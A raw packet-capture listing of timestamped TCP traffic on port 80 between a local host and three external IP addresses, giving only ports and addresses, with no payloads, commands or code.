Aug 30, 2024 03:17:06.987788916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.987806082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.987818003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.987824917 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.987829924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.987840891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.987842083 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.987852097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.987868071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.987886906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.988032103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.988070011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.988090038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.988101006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.988125086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.988135099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.988162041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.988177061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.988188028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.988198996 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.988198996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.988213062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.988231897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.988255978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.988265991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.988281965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.988291979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.988300085 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.988332987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.988898993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.988953114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.988954067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.988987923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.989051104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989062071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989072084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989083052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989093065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.989097118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989118099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.989119053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989130020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989141941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989141941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.989155054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989165068 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.989166975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989182949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989185095 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.989203930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.989224911 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.989800930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989811897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989820957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989845037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.989850998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989861012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989866972 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.989871979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989882946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989888906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.989918947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.989965916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989975929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989985943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.989996910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990003109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.990008116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990017891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.990019083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990041018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.990065098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.990765095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990847111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990856886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990859985 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.990878105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.990879059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990889072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.990889072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990899086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990911961 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.990922928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.990925074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990936041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990941048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.990951061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990957975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.990962982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990972042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.990972996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990986109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.990987062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.990994930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.991004944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.991030931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.992605925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.992660046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.992671013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.992706060 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.992714882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.992950916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.992993116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.992995024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993005991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993041039 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.993043900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993053913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993077040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993077040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.993088007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993098974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993098974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.993109941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993110895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.993132114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.993154049 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.993165016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993176937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993186951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993208885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.993227959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.993228912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993662119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993705988 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.993753910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993772984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993784904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993794918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993815899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.993825912 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.993849993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993860006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993874073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.993885040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.993906975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.994167089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.995138884 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.003611088 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003619909 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003629923 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003659964 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.003669024 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.003686905 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003696918 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003706932 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003722906 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.003732920 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003742933 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.003743887 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003768921 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.003784895 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003793001 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.003799915 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003817081 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003820896 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.003829002 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003833055 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.003850937 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003854036 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.003863096 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003865004 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.003880024 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.003884077 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003895044 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003900051 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.003911972 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.003914118 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.003937960 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.008981943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009006977 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009017944 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009037971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009044886 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.009074926 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.009119987 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009130001 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009140015 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009152889 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009160995 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.009164095 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009171963 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.009201050 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.009234905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009246111 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009254932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009274006 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.009288073 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.009288073 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009299040 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009308100 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.009321928 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.009336948 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.009346008 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.032182932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032193899 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032202005 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032229900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032249928 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.032250881 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032263041 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032274008 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032284975 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.032294035 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.032310009 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.032429934 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032443047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032452106 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032463074 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032478094 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.032501936 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.032869101 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032880068 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032890081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032917023 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.032932997 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.032949924 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032960892 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032970905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032979965 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.032990932 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.032990932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033010960 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033032894 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033065081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033076048 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033085108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033096075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033102036 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033107042 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033123016 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033123970 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033135891 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033149004 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033170938 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033199072 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033210039 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033219099 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033229113 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033246040 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033253908 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033283949 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033301115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033312082 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033320904 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033334970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033344030 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033344984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033356905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033370972 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033373117 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033377886 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033385992 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033396959 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033407927 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033427000 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033503056 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033514977 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033524990 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033536911 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033546925 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033546925 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033559084 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033584118 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033623934 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033634901 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033643961 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033654928 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033664942 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033664942 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033672094 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033678055 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033698082 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033720970 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033751011 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033761024 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033771038 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033787966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033787966 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033801079 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033803940 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033811092 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033812046 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033832073 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033854961 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033893108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033905029 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033920050 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033930063 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033936977 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033947945 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033957958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033958912 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033968925 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033972979 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.033981085 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033992052 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.033993006 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034003019 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034014940 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034018993 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034027100 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034041882 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034049988 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034079075 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034333944 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034343958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034369946 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034492970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034503937 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034513950 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034523964 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034533978 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034537077 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034545898 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034554958 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034557104 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034562111 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034569025 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034579039 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034590960 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034595013 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034600973 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034612894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034622908 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034622908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034636021 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034641027 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034647942 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034660101 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034660101 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.034670115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.034684896 CEST	49737	80	192.168.2.4	176.113.115.33
